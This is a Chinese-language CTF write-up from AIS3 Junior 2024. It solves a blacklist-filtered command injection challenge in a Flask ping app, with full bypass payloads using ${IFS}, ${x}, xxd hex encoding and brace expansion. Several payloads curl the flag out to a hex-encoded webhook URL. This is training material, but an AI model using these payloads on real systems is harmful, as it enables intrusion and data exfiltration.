AIS3 Junior 2024-command injection bypass master

2024-08-19

AIS3 Junior 2024-command injection bypass master

Author: 堇姬Naup

前言

這次去AIS3 junior當了助教,也是我第一次當助教,這次跟vincent一起擔任A組的助教,本篇記錄了一些我們學員專題題目,我的解題及vincent的解題方法

學員的專題

這次A組的學員挑的專題是針對command injection加入了更多黑名單bypass的方法,他們出完很開心的拿來給我跟vincent玩,結果我們問他們有沒有官解他們說沒有www,不過這題是真的出的很好

先看source code吧

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os
from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)
app.secret_key = os.urandom(32)

oprBlackList = [" ", "*", "&", "||", "&&","?","/","[","]"]
cmdBlackList = ["cat", "ls", "whoami", "bash", "cd", "awk", "curl","A","a"]

@app.route("/", methods=["GET"])
def index():
return render_template("index.html", inlinePage=render_template("card.html", message=render_template("post.html")))

@app.route("/", methods=["POST"])
def exec_command():
ip = request.form.get("ip")

if (any(opr in ip for opr in oprBlackList) or any(cmd in ip for cmd in cmdBlackList)):
return render_template("index.html", inlinePage=render_template("card.html", message=render_template("post.html"), result="DANGER : \nDetected that the command line contains blacklist elements"))

command = f"ping -c 1 {ip} 2>&1"
print(command)
result = os.popen(command).read()
print(result)
if "Name or service not known" in result : return render_template("index.html", inlinePage=render_template("card.html", message=render_template("post.html"), result="ERROR : \n" + result))
else : return render_template("index.html", inlinePage=render_template("card.html", message=render_template("post.html"), result="EVERY THING IS GOOD"))


if __name__ == "__main__":
app.run(host="0.0.0.0",port=8012, debug=False)

他ban掉了一些字元,但可以bypass

首先是cat ls cd whoami這些字元其實都是可以透過在中間加入一個${x}來bypass的

1
c${x}at

再來我覺得比較麻煩的ban掉了A跟a,會影響到cat、base64甚至是後續利用網址有a的問題

另外像是?跟/這兩個字被ban,也影響到後續我使用curl手法來收flag(因為網址有/,GET request有?)

而我這邊挑選bypass的方法是xxd,也就是將輸出的字在ASCII跟hex間做轉換

1
2
xxd -r -p //hex to ASCII
xxd -p // ASCII to hex

再來是因為xxd轉hex有時候會產生’\n’,所以我透過tr -d來刪除換行

1
tr -d '\n'

再來空格就老方法${IFS}

我們來嘗試開串吧

首先我們最需要考慮的是,怎麼讀檔案,因為a被禁用,所以不能用echo來讀,那我們可以去這個網站逛逛

https://gtfobins.github.io/

這個網站上有很多command read file一些trick
最後我突然想到可以用strings來印出檔案裡面的東西,所以先串

1
strings${IFS}FLAG

然後就會發現FLAG的A被blacklist掉,所以採用hex的方案來解決,把FLAG轉hex,再用xxd轉回ASCII造出FLAG

1
echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p)

再來丟到strings讀
變成

1
$(strings${IFS}$(echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p))

這樣就可以讀FLAG,但是會發現一件很尷尬的事,因為FLAG這份檔案用了摩斯密碼進行加密,內容的-.被當成參數,導致ping直接噴錯,所以我嘗試印出FLAG後再進行一次hex

1
$(echo${IFS}$(strings${IFS}$(echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p))|${IFS}xxd${IFS}-p|tr${IFS}-d${IFS}'\n')

然後就解…了嗎?

居然被當正常的輸入ping成功了,沒有噴錯
所以並沒有進到

1
if "Name or service not known" in result : return render_template("index.html", inlinePage=render_template("card.html", message=render_template("post.html"), result="ERROR : \n" + result))

來把我們想要的結果印出來
我嘗試try了許多方法,像是塞入空格或是特殊字元,讓ping噴出Name or service not known,但都失敗了

最後我採用了curl的方式將我們的FLAG送出來
同樣的觀察webhook網址使用了/,但我發現一樣可以使用hex來解決,所以這邊先把webhook網址hex

1
68747470733A2F2F776562686F6F6B2E736974652F63363266373331632D333264312D346563392D383033652D393237323839393462306139

but,:這個hex結果是3A,又有A,所以一樣有問題,想了一下發現,hex一次不行,那我就double hex就好了,所以最後產生出webhook網址的方式是

1
$(echo${IFS}'3638373437343730373333613266326637373635363236383666366636623265373336393734363532663633333633323636333733333331363332643333333236343331326433343635363333393264333833303333363532643339333233373332333833393339333436323330363133393061'${IFS}|${IFS}xxd${IFS}-r${IFS}-p${IFS}|${IFS}xxd${IFS}-r${IFS}-p)

最後用curl直接送出FLAG內容就可以了

1
$(cu${x}rl${IFS}$(echo${IFS}'3638373437343730373333613266326637373635363236383666366636623265373336393734363532663633333633323636333733333331363332643333333236343331326433343635363333393264333833303333363532643339333233373332333833393339333436323330363133393061'${IFS}|${IFS}xxd${IFS}-r${IFS}-p${IFS}|${IFS}xxd${IFS}-r${IFS}-p)${IFS}-X${IFS}POST${IFS}-d${IFS}$(echo${IFS}$(strings${IFS}$(echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p))|${IFS}xxd${IFS}-p|tr${IFS}-d${IFS}'\n'))

收到FLAG的內容

這樣就成功了…嗎?

我們嘗試解密

1
.. .----. -- / .- / -... .- -.. / .... .- -.-. -.- . .-. --..-- / .--. .-.. . .- ... . / ... . . / .-..-. .-.-.- ..-. .-.. .- --. .-..-.
1
I'M A BAD HACKER, PLEASE SEE ".FLAG"

這裡的巧思很好,由於ban掉了a,導致ls不會印出.FLAG這個檔案,下意識就會去印FLAG,而摩斯密碼在印出的時候會遇到許多問題,總之就把上述payload的FLAG改成.FLAG就可以解了

Final payload

1
$(cu${x}rl${IFS}$(echo${IFS}'3638373437343730373333613266326637373635363236383666366636623265373336393734363532663633333633323636333733333331363332643333333236343331326433343635363333393264333833303333363532643339333233373332333833393339333436323330363133393061'${IFS}|${IFS}xxd${IFS}-r${IFS}-p${IFS}|${IFS}xxd${IFS}-r${IFS}-p)${IFS}-X${IFS}POST${IFS}-d${IFS}$(strings${IFS}$(echo${IFS}'2e464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p)))

vincent的payload

vincent作法是,因為ping沒有輸出Name or service not known,所以我們就echo自己印,一樣用hex再用xxd轉回來輸出,來成功輸出FLAG

1
"$(echo${IFS}'4e616d65206f722073657276696365206e6f74206b6e6f776e'|xxd${IFS}-r${IFS}-p)$(strings${IFS}`echo${IFS}'2e464c4147'|xxd${IFS}-r${IFS}-p`|xxd${IFS}-p)"

壓payload

那時候跟vincent討論是不是可以把payload壓短,然後上長度限制,最後把長度壓到了132

1
"$({echo,'4e616d65206f722073657276696365206e6f74206b6e6f776e'}|{xxd,-r,-p})$(strings$IFS`{echo,'2e464c4147'}|{xxd,-r,-p}`|{xxd,-p})"

使用大括號可以省掉很多${IFS}

最後總結我們的bypass技巧

1
2
3
4
5
6
7
8
9
curl -> 在ping之前就curl出去
$() -> 用來執行
${x} -> 繞 curl 等blacklist bypass
${IFS} -> 空格bypass
xxd -> ASCII跟十六進制間轉換
strings -> the 讀 FLAG
tr -d ‘\n’ -> 把換行拔掉
直接echoh錯誤訊息
{} -> 包住指令節省空白符

後記

最後放張圖,當助教好好玩ww(熊熊是vincent的)